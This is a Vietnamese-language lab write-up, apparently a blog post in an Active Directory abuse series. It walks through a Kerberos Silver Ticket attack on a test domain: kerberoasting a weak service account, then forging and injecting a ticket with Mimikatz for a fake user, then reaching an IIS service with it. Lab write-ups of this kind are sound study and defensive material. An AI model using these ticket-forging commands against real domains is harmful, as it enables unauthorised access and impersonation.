Ired.Team Kerberos Silver Ticket Execution
Ired.Team Kerberos Silver Ticket
Tiếp tục chuỗi series AD abuse thì tiếp theo ta tiến tới Kerberos Silver Ticket có nghĩa là ta sẽ hack quyền từ Kerberos nhưng không phải tạo golden ticket để truy cập mọi tài nguyên trong DC mà ở đây ta chỉ tạo Silver Ticket có quyền truy cập một số tài nguyên nhất định vì đôi khi ta cũng không cần phải full quyền để làm gì nhiều lúc sẽ dễ bị phát hiện nên ta chỉ cần lấy một vài tài nguyên, chính điều đó thì Silver Ticket ra đời.
Execution
Bước 1: Chuẩn bị môi trường
- Một
domain controller(Ở đây tôi có: dc-mantvydas.offense.local) - Một máy
clienttham gia domain (Ở đây mình dùng DC-RED) - Quyền
admintrên domain để tạo tài khoản dịch vụ (hoặc ít nhất có quyền tạo user)
Bước 2: Tạo user/service account có password yếu
Đầu tiên ta sẽ dùng lệnh PowerShell ở trên máy DC để tạo ra http service có password yếu.
1 | # Tạo user mới - dùng làm service account |
Bước 3: Xác minh SPN đã được gán
Sau đó tiếp tục ta sẽ sử dụng các lệnh sau để xác mình rằng đã có SPN được gán vào.
1 | setspn -S HTTP/dc-mantvydas.offense.local svc_http |

Okay kết quả trả về khả quan rồi.
Bước 4: Thực hiện Kerberoasting từ máy tấn công
Bây giờ mình sẽ truy cập máy windows attacker của mình đó là DC-RED để khai thác.

Ở đây mình dùng 2 lệnh đó là :
1 | Add-Type -AssemblyName System.IdentityModel |
2 lệnh trên có mục đích là lấy TGS Ticket hay còn gọi đó là bước kerberoasting ở đây sau khi thực thi thì hệ thống sẽ lưu ticket vào cache của Kerberos sau đó ta sẽ phải lấy thêm NTLM hash, ở đây mình set password cho service là Passw0rd nên bỏ qua bước đó lấy thẳng NTLM hash của nó là a87f3a337d73085c45f9416be5787d86.
Bước 5: Tạo Silver Ticket với Mimikatz
Ở đây ta thực hiện đoạn lệnh là :
1 | whoami /user |
Với mục đích đó là lấy được Domain SID của user hiện tại.

Ta sẽ note cái SID này vào để còn dùng trong mimikatz S-1-5-21-1522518357-539094533-3136975768-1000
Sau đó ta tiến hành chạy mimikat ở đây mình sẽ spawn một cmd từ tool có tên là PsExec để chạy cmd với quyền cao nhất.
Sau đó ở trong mimikatz ta sẽ chạy lệnh sau :
1 | kerberos::golden /sid:S-1-5-21-1522518357-539094533-3136975768 /domain:offense.local /ptt /id:1000 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:benignadmin |
Lệnh này sử dụng tự động tạo ticket và inject nó vào ở đây ta dùng những thứ mà ta đã tìm được lúc nãy bao gồm Domain SID , NTLM hash và ở đây user được gán Silver Ticket mình để tên là benignadmin.

Thành công chạy lệnh nó trả về cho ta kết quả đó là Pass The Ticket là kết quả đã được, bây giờ để xác nhận rằng Ticket đã được inject ta sẽ exit mimikatz sau đó chạy lệnh klist để confirm.

Chuẩn bài rồi ta thấy tên client đã đúng là benignadmin @ offense.local bây giờ ta tới với bước thực hiện vài lệnh khai thác service.
Bước 6: Khai thác - Truy cập Service
Ta tiến hành gửi HTTP request dùng ticket với lệnh :
1 | Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local |

Phân tích kết quả :
- StatusCode: 200 → HTTP request thành công.
- Nội dung trả về là trang mặc định của IIS → chứng tỏ service HTTP đang chạy.
- Vì mình dùng -UseDefaultCredentials, hệ thống đã tự động đính kèm Kerberos ticket inject trước đó (Silver Ticket cho benignadmin) vào request.
- IIS trên dc-mantvydas.offense.local chấp nhận ticket → xác thực thành công dù benignadmin không tồn tại thực sự trong Active Directory.

Sau đó check ở Event Viewer của DC thì thấy được request Logon của user fake mà mình tạo vậy là hoàn thành lab Kerberos Silver Ticket.